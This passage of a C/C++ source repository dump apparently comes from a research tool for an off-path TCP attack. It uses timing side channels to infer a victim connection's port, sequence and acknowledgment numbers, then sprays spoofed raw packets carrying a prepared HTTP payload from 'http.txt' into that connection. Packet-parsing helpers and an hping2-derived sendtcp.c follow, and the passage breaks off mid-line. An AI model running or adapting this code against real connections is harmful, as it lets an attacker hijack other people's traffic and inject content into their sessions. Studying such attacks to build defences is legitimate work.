| tcp.th_ack = 0x80000000; 369 | } else { 370 | cur_seq += cur_window; 371 | tcp.th_seq = cur_seq; 372 | tcp.th_ack = 0; 373 | } 374 | } else { 375 | cur_seq += cur_window; 376 | tcp.th_seq = cur_seq; 377 | } 378 | #ifdef DEBUG 379 | printf("%lx %x\n", cur_seq, tcp.th_ack); 380 | #endif 381 | return false; 382 | } 383 | } 384 | 385 | #define NUM_OF_REQUEST 150 386 | #define OFFSET_PADDING 50 387 | static int padding = 300; 388 | static void* infer_seq_thread(void* data) { 389 | cur_state = SEQ_INFERENCE; 390 | cur_seq = cur_ack = 0; //seq; 391 | tcp.th_seq = cur_seq; //seq; 392 | tcp.th_ack = cur_ack; 393 | printf("start to infer seq\n"); 394 | create_thread(probe); 395 | return NULL; 396 | } 397 | 398 | // static void* wait_and_inject(void* data) { 399 | // char data_packet[2000]; 400 | // int data_size, data_size2; 401 | // unsigned char buffer[12]; 402 | 403 | // FILE *file; 404 | // file = fopen("http.txt", "r"); 405 | // if (file == NULL) { 406 | // printf("open file error\n"); 407 | // goto Exit; 408 | // } 409 | // data_size = fread(data_packet+100, 1, 1900, file); 410 | // printf("file size: %d\n", data_size); 411 | // for (int i = 0; i < 100; i++) { 412 | // data_packet[i] = ' '; 413 | // } 414 | // fclose(file); 415 | 416 | // if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) { 417 | // printf("Error on receiving msg\n"); 418 | // goto Exit; 419 | // } 420 | // buffer[8] = '\0'; 421 | // printf("ack number: %s\n", buffer); 422 | // cur_ack = (unsigned int)strtol((char*)buffer, NULL, 16); 423 | // printf("cur ack: %u\n", cur_ack); 424 | // tcp.th_seq = cur_seq + NUM_OF_REQUEST * SEQ_DELTA + OFFSET_PADDING + padding + 134; 425 | // tcp.th_ack = cur_ack; 426 | 427 | // tcp.th_seq -= 100; 428 | // tcp.th_ack += 334; //This is the length of the request raised by client 429 | // printf("%x, %x\n", tcp.th_seq, tcp.th_ack); 430 | // sleep(1); 431 | // for (int i = 0; i < 5; i++) { 432 | // send_tcp(packet.dport, packet.sport, 0, 64, (unsigned char*)data_packet, data_size+100, &tcp, packet.dip, packet.sip, NULL); 433 | // tcp.th_ack += ACK_WINDOW; 434 | // } 435 | // // for (int i = 0; i < 10; i++) 436 | // // send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, NULL, 0, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL); 437 | // closeup(); 438 | 439 | // Exit: 440 | // return NULL; 441 | // } 442 | 443 | static void* infer_ack_thread(void* data) { 444 | //send command to scale up window size 445 | unsigned char buffer[12]; 446 | char data_packet[2000]; 447 | FILE *file; 448 | int data_size; 449 | // uint64_t seq; 450 | // int tmp; 451 | cur_state = SEQ_INFERENCE; 452 | 453 | callback = &dummy_callback; //make sure we dont invoke callback 454 | FLAG = false; 455 | 456 | file = fopen("http.txt", "r"); 457 | if (file == NULL) { 458 | printf("open file error\n"); 459 | goto Exit; 460 | } 461 | data_size = fread(data_packet+padding, 1, 2000 - padding, file); 462 | printf("file size: %d\n", data_size); 463 | for (int i = 0; i < padding; i++) { 464 | data_packet[i] = ' '; 465 | } 466 | fclose(file); 467 | 468 | websocket_send_frame(Global_websocket_fd, (unsigned char*)"up", strlen("up"), TEXT_FRAME, 0); 469 | if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) { 470 | printf("Error on receiving msg\n"); 471 | goto Exit; 472 | } 473 | 474 | tcp.th_flags = TH_PUSH | TH_ACK; 475 | tcp.th_seq = tcp.th_seq + NUM_OF_REQUEST * SEQ_DELTA + OFFSET_PADDING; 476 | for (cur_ack = 0xffffffff; cur_ack >= ACK_WINDOW; cur_ack -= ACK_WINDOW) { 477 | tcp.th_ack = cur_ack; 478 | send_tcp(packet.dport, packet.sport, 0, 64, (unsigned char*)data_packet, data_size+padding, &tcp, packet.dip, packet.sip, NULL); 479 | // usleep(10); 480 | } 481 | Exit: 482 | closeup(); 483 | return NULL; 484 | } 485 | 486 | static uint32_t port_left = 49152, port_right = 65535; //32768 487 | static uint16_t cur_port = port_left; 488 | 489 | #define PORT_DIFF_THRESHOLD 2500 490 | #define PORT_DIFF_MINIMAL 2000 491 | #define PORT_THRESHOLD 5000 492 | 493 | static void* idle(void* data) { 494 | FLAG = false; 495 | callback = &dummy_callback; 496 | 497 | for (int i = 0; i < 2; i++) { 498 | for (int j = 0; j < 10; j++) 499 | send_tcp(packet.dport, packet.sport, 0, 64, NULL, 0, &tcp, packet.dip, packet.sip, NULL); 500 | usleep(10000); 501 | } 502 | 503 | FLAG = true; 504 | callback = &all_callback; 505 | timeout_handler(0); 506 | return NULL; 507 | } 508 | 509 | struct Data { 510 | uint32_t delay, diff; 511 | // bool operator<(const Data& a) {return diff < a.diff;} 512 | }; 513 | bool compare_diff(Data a, Data b) { return a.diff < b.diff; } 514 | bool compare_delay(Data a, Data b) { return a.delay < b.delay; } 515 | 516 | #define NUM_OF_DATA 100 517 | static Data results[NUM_OF_DATA * 2]; 518 | static int mIndex = 0; 519 | static void measure(uint64_t delay, uint64_t diff) { 520 | results[mIndex].delay = delay; 521 | results[mIndex].diff = diff; 522 | mIndex++; 523 | 524 | if (mIndex == NUM_OF_DATA) { 525 | cur_state = MEASURE_RIGHT; 526 | printf("---------------------\n"); 527 | 528 | uint64_t total = 0, mean, standard_deviation; 529 | int i; 530 | 531 | std::sort(results, results+NUM_OF_DATA, compare_delay); 532 | for (i = 1; i < NUM_OF_DATA - 1; i++) //eliminate the largest and the smallest one 533 | total += results[i].delay; 534 | mean = total / (NUM_OF_DATA - 2); 535 | for (i = 1, total = 0; i < NUM_OF_DATA - 1; i++) 536 | total += (results[i].delay - mean) * (results[i].delay - mean); 537 | total /= (NUM_OF_DATA - 3); 538 | standard_deviation = sqrt(total); 539 | MAX_FULL_LATENCY = mean + 5 * standard_deviation; 540 | printf("OK. MAX_FULL_LATENCY: %lu\n", MAX_FULL_LATENCY); 541 | 542 | } else if (mIndex == NUM_OF_DATA * 2) { 543 | //analyse data and come out with several threshold 544 | printf("+++++++++++++++++++++++\n"); 545 | mIndex = 0; 546 | std::sort(results, results+NUM_OF_DATA, compare_diff); 547 | std::sort(results+NUM_OF_DATA, results+NUM_OF_DATA*2, compare_diff); 548 | int i = NUM_OF_DATA*2-1; 549 | for ( ; i > NUM_OF_DATA + NUM_OF_DATA / 2; i--) { 550 | int j = 0; 551 | for ( ; j < NUM_OF_DATA - 1; j++) 552 | if (results[j].diff >= results[i].diff) 553 | break; 554 | if (j < (NUM_OF_DATA) / 10) { 555 | printf("OK. threshold: %u\n", results[i].diff); 556 | SEQ_DIFF_THRESHOLD = results[i].diff / 100 * 100 + 100; 557 | break; 558 | } 559 | } 560 | 561 | if (i == NUM_OF_DATA + NUM_OF_DATA / 2) { 562 | printf("WARNING: you cannot differiate by diff %lu\n", SEQ_DIFF_THRESHOLD); 563 | SEQ_DIFF_THRESHOLD = -1; 564 | } 565 | 566 | std::sort(results, results+NUM_OF_DATA, compare_delay); 567 | std::sort(results+NUM_OF_DATA, results+NUM_OF_DATA*2, compare_delay); 568 | i = NUM_OF_DATA*2-1; 569 | for ( ; i > NUM_OF_DATA + NUM_OF_DATA / 2; i--) { 570 | int j = 0; 571 | for ( ; j < NUM_OF_DATA - 1; j++) 572 | if (results[j].delay >= results[i].delay) 573 | break; 574 | if (j < (NUM_OF_DATA) / 10) { 575 | printf("OK. threshold: %u\n", results[i].delay); 576 | SEQ_THRESHOLD = results[i].delay / 100 * 100 + 100; 577 | break; 578 | } 579 | } 580 | 581 | if (i == NUM_OF_DATA + NUM_OF_DATA / 2) { 582 | printf("WARNING: you cannot differiate by RTT %lu\n", SEQ_THRESHOLD); 583 | SEQ_THRESHOLD = -1; 584 | } 585 | 586 | if (/*SEQ_THRESHOLD == -1 && */SEQ_DIFF_THRESHOLD == -1) { 587 | if (!DOUBLE_SEQ_FLAG) { 588 | DOUBLE_SEQ_FLAG = true; 589 | cur_state = MEASURE_WRONG; 590 | mIndex = 0; 591 | goto probe; 592 | } else { 593 | closeup(); 594 | return; 595 | } 596 | } 597 | 598 | // if (SEQ_DIFF_THRESHOLD == -1) { 599 | // cur_state = MEASURE_WRONG; 600 | // mIndex = 0; 601 | // goto probe; 602 | // } 603 | 604 | // closeup(); 605 | // return; 606 | 607 | 608 | //seq inference 609 | cur_state = SEQ_INFERENCE; 610 | create_thread(infer_seq_thread); 611 | return; 612 | } 613 | 614 | probe: 615 | create_thread(probe); 616 | } 617 | 618 | static void all_callback() { 619 | uint64_t end_time, diff, delay; 620 | static uint64_t prev_diff, prev_delay, prev_delay2, prev_diff2; 621 | static int state = 0, iters = 0; 622 | // int tmp; 623 | counter++; 624 | 625 | switch (counter % 2) { 626 | case 1: 627 | last_time_diff = microtime(); 628 | return; 629 | case 0: 630 | set_timeout(0); 631 | end_time = microtime(); 632 | diff = end_time - last_time_diff; 633 | delay = end_time - last_time_after; 634 | // printf("[+]%d\n", ack_nums); 635 | #ifdef DEBUG 636 | printf("%lu %lu %lu\n", end_time - last_time, delay, diff); 637 | #endif 638 | if ((diff > delay && diff - delay > TIME_INTERVAL) || diff > end_time - last_time) { //we must accept an extra one, let's ignore the previous one. 639 | last_time_diff = end_time; 640 | counter--; 641 | set_timeout(TIMEOUT_INTERVAL); 642 | return; 643 | } 644 | 645 | if (delay > MAX_FULL_LATENCY && 646 | cur_state != WARMUP && cur_state != MEASURE_WRONG) { // For WARMUP, MEASURE_RIGHT, MEASURE_WRONG cases 647 | create_thread(probe); 648 | return; 649 | } 650 | 651 | // if (diff < 500 && cur_state == MEASURE_WRONG) { 652 | // create_thread(probe); 653 | // return; 654 | // } 655 | 656 | switch (cur_state) { 657 | case WARMUP: 658 | if (hosts->num > 1) { 659 | if (counter % 4 == 0) { 660 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN); 661 | } else { 662 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN); 663 | } 664 | } 665 | if (counter == 120 * 2) { 666 | printf("---------------------------------\n"); 667 | if (hosts->num == 1) { 668 | // sleep(1); 669 | #ifdef AUTO_ADJUST 670 | cur_state = MEASURE_WRONG; 671 | #else 672 | //seq inference 673 | cur_state = SEQ_INFERENCE; 674 | state = 0; 675 | create_thread(infer_seq_thread); 676 | return; 677 | #endif 678 | } else { 679 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN); 680 | cur_state = MEASURE_IP; 681 | state = 0; 682 | } 683 | } 684 | create_thread(probe); 685 | break; 686 | case MEASURE_IP: 687 | prev_diff = diff; 688 | prev_delay = delay; 689 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN); 690 | cur_state = MEASURE_IP_COMPARE; 691 | create_thread(probe); 692 | break; 693 | case MEASURE_IP_COMPARE: 694 | if (prev_diff < diff) { 695 | state++; 696 | } else { 697 | state--; 698 | } 699 | cur_state = MEASURE_IP; 700 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN); 701 | 702 | if (state == 2) { 703 | cur_state = MEASURE_WRONG; 704 | state = 0; 705 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN); 706 | printf("get ip address: %s\n", packet.dip); 707 | } else if (state == -2) { 708 | cur_state = MEASURE_WRONG; 709 | state = 0; 710 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN); 711 | printf("get ip address: %s\n", packet.dip); 712 | } 713 | create_thread(probe); 714 | break; 715 | case MEASURE_RIGHT: 716 | case MEASURE_WRONG: 717 | measure(delay, diff); 718 | break; 719 | case SEQ_INFERENCE: 720 | if (handle_seq(delay, diff)) { 721 | state++; 722 | if (state == 3) { 723 | printf("here you are\n"); 724 | if (tcp.th_seq > cur_window) 725 | seq_left = tcp.th_seq - cur_window; 726 | else 727 | seq_left = 0; 728 | seq_right = tcp.th_seq; 729 | cur_seq = (seq_left + seq_right) / 2; 730 | tcp.th_seq = cur_seq; 731 | cur_state = SEQ_INFERENCE_STAGE2; 732 | state = 0; 733 | } 734 | } else { 735 | state = 0; 736 | if (cur_seq > seq_right) { 737 | printf("failed in seq inference\n"); 738 | if (initial_window != cur_window) { 739 | cur_window /= 2; 740 | } 741 | initial_window /= 2; 742 | cur_seq = initial_window; 743 | tcp.th_seq = cur_seq; 744 | printf("shrink the window size to %lu\n", cur_window); 745 | if (cur_window == (SEQ_WINDOW >> 2)) { 746 | closeup(); 747 | return; 748 | } 749 | } 750 | } 751 | create_thread(probe); 752 | break; 753 | case SEQ_INFERENCE_STAGE2: 754 | tcp.th_seq = seq_left - 1; 755 | prev_diff = diff; 756 | prev_delay = delay; 757 | cur_state = SEQ_COMPARE1; 758 | create_thread(probe); 759 | break; 760 | case SEQ_COMPARE1: 761 | tcp.th_seq = seq_right; 762 | prev_diff2 = diff; 763 | prev_delay2 = delay; 764 | cur_state = SEQ_COMPARE2; 765 | create_thread(probe); 766 | break; 767 | case SEQ_COMPARE2: 768 | //compare the distance 769 | // guessed: prev_diff, prev_delay; left-1: prev_diff2, prev_delay2; right: diff, delay 770 | if (prev_diff2 <= diff) { 771 | printf("it shouldn't happen\n"); 772 | // if (seq_right - seq_left <= 128) { 773 | // state = 0; 774 | // iters++; 775 | // } else { 776 | // iters = 0; 777 | // state = 0; 778 | // restart_seq(); 779 | // return; 780 | // } 781 | state = 0; 782 | iters++; 783 | } else if (absolute_value_diff(prev_diff, prev_diff2) < absolute_value_diff(prev_diff, diff)) { 784 | if (prev_diff > diff && prev_diff - diff > 400) { 785 | state++; 786 | if (state == 2) { 787 | seq_left = cur_seq + 1; 788 | state = 0; 789 | iters = 0; 790 | } 791 | } else { 792 | state = 0; 793 | iters++; 794 | } 795 | } else { 796 | if (prev_diff2 > prev_diff && prev_diff2 - prev_diff > 400) { 797 | state--; 798 | if (state == -2) { 799 | seq_right = cur_seq; 800 | state = 0; 801 | iters = 0; 802 | } 803 | } else { 804 | state = 0; 805 | iters++; 806 | } 807 | } 808 | 809 | if (iters == 3) { 810 | //restart 811 | iters = 0; 812 | restart_seq(); 813 | return; 814 | } 815 | 816 | if (seq_left == seq_right && seq_left != 0) { 817 | printf("get seq num: %lx\n", seq_left); 818 | tcp.th_seq = cur_seq = seq_left; 819 | cur_state = ACK_INFERENCE; 820 | state = 0; 821 | if (DOUBLE_SEQ_FLAG) { 822 | ack_left = tcp.th_ack; 823 | if (ack_left == 0) 824 | ack_right = 0x80000000; 825 | printf("left: %lx, right: %lx\n", ack_left, ack_right); 826 | cur_right_ack = (ack_left + ack_right) >> 1; 827 | cur_left_ack = (cur_right_ack + 0x80000000) & 0xffffffff; 828 | tcp.th_ack = cur_left_ack; 829 | printf("cur_left: %lx, cur_right: %lx\n", cur_left_ack, cur_right_ack); 830 | } 831 | printf("pause here\n"); 832 | sleep(3); 833 | create_thread(infer_ack_thread); 834 | // closeup(); 835 | return; 836 | } 837 | printf("seq left: %lx, right: %lx\n", seq_left, seq_right); 838 | cur_seq = (seq_left + seq_right) / 2; 839 | tcp.th_seq = cur_seq; 840 | cur_state = SEQ_INFERENCE_STAGE2; 841 | 842 | create_thread(probe); 843 | break; 844 | } 845 | return; 846 | } 847 | } 848 | 849 | static void* thread_cb(void* data) { 850 | unsigned char buffer[12]; 851 | 852 | pthread_mutex_lock(&socket_lock); 853 | 854 | #ifdef WEBSOCKET 855 | if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) { 856 | printf("Error on receiving msg\n"); 857 | goto Exit; 858 | } 859 | printf("receive data: %s\n", buffer); 860 | #endif 861 | 862 | Exit: 863 | return NULL; 864 | } 865 | 866 | static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfgmsg, 867 | struct nfq_data *nfa, void *data) { 868 | struct nfqnl_msg_packet_hdr *ph; 869 | u_int32_t id; 870 | int len, ret = 0;//, frame_size; 871 | unsigned char *payload; 872 | //thread 873 | pthread_attr_t attr; 874 | pthread_t child; 875 | //inference 876 | uint32_t seq; 877 | 878 | ph = nfq_get_msg_packet_hdr(nfa); 879 | id = ntohl(ph->packet_id); 880 | 881 | ack_nums++; 882 | if (ack_nums == 1) { 883 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL); 884 | len = nfq_get_payload(nfa, &payload); 885 | get_ip((struct iphdr*)payload, payload, len, &packet); 886 | // parse_ip_packet((struct iphdr*)payload, payload, len, &packet, false); 887 | printf("sip: %s, dip: %s, sport: %u\n", packet.sip, packet.dip, packet.sport); 888 | tcp.th_flags = TH_PUSH | TH_ACK; // | TH_RST;// | TH_URG; 889 | tcp.th_seq = tcp.th_ack = 0; 890 | tcp.th_win = 65535; 891 | packet.dport = 80; 892 | 893 | //start a new thread 894 | pthread_attr_init(&attr); 895 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); 896 | if (pthread_create(&child, &attr, thread_cb, &packet) != 0) { 897 | printf("thread creation error\n"); 898 | } 899 | return ret; 900 | } 901 | 902 | // printf("ack num: %d\n", ack_nums); 903 | if (callback != NULL) { 904 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL); 905 | len = nfq_get_payload(nfa, &payload); 906 | // ack = get_ack((struct iphdr*)payload, payload, len); 907 | seq = get_seq((struct iphdr*)payload, payload, len); 908 | 909 | if (seq == cmd_packet.seq - 1) { 910 | printf("It's a keep-alive ACK\n"); 911 | return ret; 912 | } 913 | 914 | (*callback)(); 915 | 916 | } else { 917 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL); 918 | len = nfq_get_payload(nfa, &payload); 919 | parse_ip_packet((struct iphdr*)payload, payload, len, &cmd_packet, 0); 920 | cmd_tcp.th_flags = TH_ACK | TH_PUSH; 921 | cmd_tcp.th_win = 65535; 922 | cmd_tcp.th_seq = 0; //cmd_packet.ack; 923 | cmd_tcp.th_ack = 0; //cmd_packet.seq + cmd_packet.size; 924 | 925 | if (cmd_packet.size == 8) { 926 | //register 927 | printf("receive ack num: %d\n", ack_nums); 928 | 929 | if (need_resolve(SERVER_HOST)) { 930 | hosts = getipbyhostname((char*)SERVER_HOST); 931 | if (hosts->num == 0) { 932 | printf("%s\n", "cannot get server ip"); 933 | exit(1); 934 | } else if (hosts->num > 2) { 935 | fprintf(stderr, "%s\n", "Sorry, more than 2 IP addresses were found, and we don't support it yet"); 936 | exit(1); 937 | } 938 | printf("server ip addr: %s\n", hosts->ips[0]); 939 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN); 940 | } else { 941 | printf("don't need to resolve address\n"); 942 | hosts = (struct Hosts*)malloc(sizeof(struct Hosts)); 943 | hosts->num = 1; 944 | hosts->ips[0] = (char*)malloc(INET_ADDRSTRLEN); 945 | strncpy(hosts->ips[0], SERVER_HOST, INET_ADDRSTRLEN); 946 | strncpy(packet.dip, SERVER_HOST, INET_ADDRSTRLEN); 947 | } 948 | 949 | FLAG = true; 950 | callback = &all_callback; 951 | 952 | #ifndef INFER_PORT 953 | cur_port = cmd_packet.sport + 1; 954 | printf("get port number: %u\n", cur_port); 955 | #else 956 | cur_port = port_left; 957 | #endif 958 | packet.sport = cur_port; 959 | cur_seq = 0; //seq; 960 | cur_ack = 0; 961 | tcp.th_seq = cur_seq; 962 | tcp.th_ack = 0; 963 | cur_left_ack = 0; 964 | cur_right_ack = 0x80000000; 965 | cur_state = WARMUP; 966 | start_infer = microtime(); 967 | counter = 0; 968 | create_thread(probe); 969 | 970 | } 971 | } 972 | return ret; 973 | } 974 | 975 | static void init() { 976 | 977 | thread_server_start(); 978 | sockraw = open_sockraw(); 979 | 980 | #ifdef WEBSOCKET 981 | start = websocket_make_frame((unsigned char*)"s", strlen("s"), TEXT_FRAME, 0, start_size); 982 | end = websocket_make_frame((unsigned char*)"e", strlen("e"), TEXT_FRAME, 0, end_size); 983 | #else 984 | start_size = 1; 985 | make_str(start, "s", start_size) 986 | end_size = 1; 987 | make_str(end, "e", end_size) 988 | #endif 989 | frame_size = 1; 990 | make_str(infer, "h", frame_size) 991 | 992 | //register signal handler 993 | signal(SIGINT, signal_handler); 994 | signal(SIGALRM, timeout_handler); 995 | } 996 | 997 | int main(int argc, char **argv) { 998 | 999 | init(); 1000 | 1001 | struct nfq_handle *h; 1002 | struct nfq_q_handle *qh; 1003 | // struct nfnl_handle *nh; 1004 | int fd; 1005 | int rv; 1006 | char buf[4096] __attribute__ ((aligned)); 1007 | printf("opening library handle\n"); 1008 | h = nfq_open(); 1009 | if (!h) { 1010 | fprintf(stderr, "error during nfq_open()\n"); 1011 | exit(1); 1012 | } 1013 | 1014 | printf("unbinding existing nf_queue handler for AF_INET (if any)\n"); 1015 | if (nfq_unbind_pf(h, AF_INET) < 0) { 1016 | perror("error during nfq_unbind_pf()\n"); 1017 | } 1018 | 1019 | printf("binding nfnetlink_queue as nf_queue handler for AF_INET\n"); 1020 | if (nfq_bind_pf(h, AF_INET) < 0) { 1021 | fprintf(stderr, "error during nfq_bind_pf()\n"); 1022 | 1023 | exit(1); 1024 | } 1025 | 1026 | printf("binding this socket to queue '80'\n"); 1027 | qh = nfq_create_queue(h, 80, &cb, NULL); 1028 | if (!qh) { 1029 | fprintf(stderr, "error during nfq_create_queue()\n"); 1030 | exit(1); 1031 | } 1032 | 1033 | printf("setting copy_packet mode\n"); 1034 | if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) { 1035 | fprintf(stderr, "can't set packet_copy mode\n"); 1036 | exit(1); 1037 | } 1038 | 1039 | 1040 | fd = nfq_fd(h); 1041 | while ((rv = recv(fd, buf, sizeof(buf), 0)) && rv >= 0) { 1042 | nfq_handle_packet(h, buf, rv); 1043 | } 1044 | 1045 | printf("unbinding from queue 0\n"); 1046 | nfq_destroy_queue(qh); 1047 | 1048 | #ifdef INSANE 1049 | /* normally, applications SHOULD NOT issue this command, since 1050 | * * it detaches other programs/sockets from AF_INET, too ! */ 1051 | printf("unbinding from AF_INET\n"); 1052 | nfq_unbind_pf(h, AF_INET); 1053 | #endif 1054 | 1055 | printf("closing library handle\n"); 1056 | nfq_close(h); 1057 | } 1058 | -------------------------------------------------------------------------------- /server/src/packet.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef PACKET_H 3 | #define PACKET_H 4 | 5 | #include 6 | #include 7 | 8 | typedef enum 9 | { 10 | IP_PROTOCOL_ICMP = 1, 11 | IP_PROTOCOL_IGMP = 2, 12 | IP_PROTOCOL_TCP = 6, 13 | IP_PROTOCOL_UDP = 17 14 | } ip_protocol_enum; 15 | 16 | struct cb_data 17 | { 18 | struct iphdr *packet_header; 19 | int len; 20 | char* payload; 21 | }; 22 | 23 | #endif -------------------------------------------------------------------------------- /server/src/parse.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "parse.h" 9 | #include "packet.h" 10 | #include "hping2.h" 11 | 12 | static uint32_t get_tcp_timestamp(Packet *packet, struct tcphdr* tcp, unsigned int tcp_len) { 13 | int optlen; 14 | unsigned char *opt; 15 | uint32_t tstamp, echo; 16 | unsigned int tcphdrlen; 17 | 18 | if (tcp_len < TCPHDR_SIZE) 19 | return 0; 20 | tcphdrlen = tcp->th_off * 4; 21 | /* bad len or no options in the TCP header */ 22 | if (tcphdrlen <= 20 || tcphdrlen > tcp_len) 23 | return 0; 24 | optlen = tcphdrlen - TCPHDR_SIZE; 25 | opt = (unsigned char*)tcp + TCPHDR_SIZE; 26 | 27 | while (optlen) { 28 | switch(*opt) { 29 | case 0: //end of option 30 | return 0; 31 | case 1: //nop 32 | opt++; 33 | optlen--; 34 | continue; 35 | default: 36 | if (optlen < 2) 37 | return 0; 38 | if (opt[1] > optlen) 39 | return 0; 40 | if (opt[0] != 8) { 41 | optlen -= opt[1]; 42 | opt += opt[1]; 43 | continue; 44 | } 45 | if (opt[1] != 10) /*bad len*/ 46 | return 0; 47 | memcpy(&tstamp, opt+2, 4); 48 | memcpy(&echo, opt+6, 4); 49 | tstamp = ntohl(tstamp); 50 | echo = ntohl(echo); 51 | if (packet) { 52 | packet->tstamp = tstamp; 53 | packet->echo = echo; 54 | } 55 | return tstamp; 56 | } 57 | } 58 | return 0; 59 | } 60 | 61 | uint32_t get_timestamp(struct iphdr* packet_header, unsigned char* payload, int len) { 62 | struct tcphdr* packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 63 | int tcp_len = len - packet_header->ihl * 4; 64 | return get_tcp_timestamp(NULL, packet_tcp_header, tcp_len); 65 | } 66 | 67 | uint16_t get_dport(struct iphdr* packet_header, unsigned char* payload, int len) { 68 | struct tcphdr* packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 69 | return ntohs(packet_tcp_header->th_dport); 70 | } 71 | 72 | int get_ip(struct iphdr* packet_header, unsigned char* payload, 73 | int len, Packet *packet) { 74 | inet_ntop(AF_INET, &packet_header->saddr, packet->sip, 75 | INET_ADDRSTRLEN); 76 | inet_ntop(AF_INET, &packet_header->daddr, packet->dip, 77 | INET_ADDRSTRLEN); 78 | return 1; 79 | } 80 | 81 | uint32_t get_ack(struct iphdr* packet_header, unsigned char* payload, int len) { 82 | struct tcphdr* packet_tcp_header; 83 | 84 | if (packet_header->protocol == IP_PROTOCOL_TCP) { 85 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 86 | // get ack 87 | return ntohl(packet_tcp_header->th_ack); 88 | } 89 | return -1; 90 | } 91 | 92 | uint32_t get_seq(struct iphdr* packet_header, unsigned char* payload, int len) { 93 | struct tcphdr* packet_tcp_header; 94 | 95 | if (packet_header->protocol == IP_PROTOCOL_TCP) { 96 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 97 | // get ack 98 | return ntohl(packet_tcp_header->th_seq); 99 | } 100 | return -1; 101 | } 102 | 103 | int parse_ip_packet(struct iphdr* packet_header, unsigned char* payload, 104 | int len, Packet* packet, bool new_data) { 105 | 106 | struct tcphdr* packet_tcp_header; 107 | char* tcp_payload = NULL; 108 | int tcp_len; 109 | 110 | inet_ntop(AF_INET, &packet_header->saddr, packet->sip, 111 | INET_ADDRSTRLEN); 112 | inet_ntop(AF_INET, &packet_header->daddr, packet->dip, 113 | INET_ADDRSTRLEN); 114 | 115 | if (packet_header->protocol == IP_PROTOCOL_TCP) { 116 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 117 | tcp_payload = (char*)payload + (packet_header->ihl * 4); 118 | tcp_len = len - packet_header->ihl * 4; 119 | // get port 120 | packet->sport = ntohs(packet_tcp_header->th_sport); 121 | if (packet->sport < 10000) { 122 | printf("errors\n"); 123 | printf("header len: %d\n", packet_header->ihl); 124 | exit(1); 125 | } 126 | packet->dport = ntohs(packet_tcp_header->th_dport); 127 | packet->seq = ntohl(packet_tcp_header->th_seq); 128 | packet->ack = ntohl(packet_tcp_header->th_ack); 129 | packet->size = tcp_len - packet_tcp_header->th_off * 4; 130 | if (new_data) { 131 | packet->payload = (char *)malloc(packet->size); 132 | strncpy(packet->payload, tcp_payload + packet_tcp_header->th_off * 4, packet->size); 133 | } else { 134 | packet->payload = tcp_payload + packet_tcp_header->th_off * 4; 135 | } 136 | get_tcp_timestamp(packet, packet_tcp_header, tcp_len); 137 | return packet->size; 138 | } 139 | return -1; 140 | } 141 | 142 | char* retrieve_text_payload(struct iphdr* packet_header, unsigned char* payload, int len) { 143 | struct tcphdr* packet_tcp_header; 144 | char* tcp_payload = NULL; 145 | int tcp_len = 0; 146 | if (packet_header->protocol == IP_PROTOCOL_TCP) { 147 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4)); 148 | tcp_len = len - packet_header->ihl * 4 - packet_tcp_header->th_off * 4; 149 | tcp_payload = (char*)malloc(tcp_len+1); 150 | strncpy(tcp_payload, (char*)payload + (packet_header->ihl * 4), tcp_len); 151 | tcp_payload[tcp_len] = '\0'; 152 | } 153 | return tcp_payload; 154 | } 155 | -------------------------------------------------------------------------------- /server/src/parse.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef PARSE_H 4 | #define PARSE_H 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | struct Packet { 13 | char sip[INET_ADDRSTRLEN]; 14 | char dip[INET_ADDRSTRLEN]; 15 | uint16_t sport; 16 | uint16_t dport; 17 | char *payload; 18 | uint64_t size; 19 | uint32_t seq; 20 | uint32_t ack; 21 | uint32_t tstamp, echo; 22 | }; 23 | 24 | uint32_t get_timestamp(struct iphdr* packet_header, unsigned char* payload, unsigned int len); 25 | uint16_t get_dport(struct iphdr* packet_header, unsigned char* payload, int len); 26 | int get_ip(struct iphdr* packet_header, unsigned char* payload, 27 | int len, Packet *packet); 28 | uint32_t get_ack(struct iphdr* packet_header, unsigned char* payload, int len); 29 | uint32_t get_seq(struct iphdr* packet_header, unsigned char* payload, int len); 30 | int parse_ip_packet(struct iphdr* packet_header, unsigned char* payload, 31 | int len, Packet* packet, bool new_data); 32 | char* retrieve_text_payload(struct iphdr* packet_header, unsigned char* payload, int len); 33 | 34 | #endif -------------------------------------------------------------------------------- /server/src/sendtcp.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $smu-mark$ 3 | * $name: sendtcp.c$ 4 | * $author: Salvatore Sanfilippo $ 5 | * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ 6 | * $license: This software is under GPL version 2 of license$ 7 | * $date: Fri Nov 5 11:55:49 MET 1999$ 8 | * $rev: 8$ 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include "hping2.h" 20 | #include "parse.h" 21 | 22 | #define set_option(data, 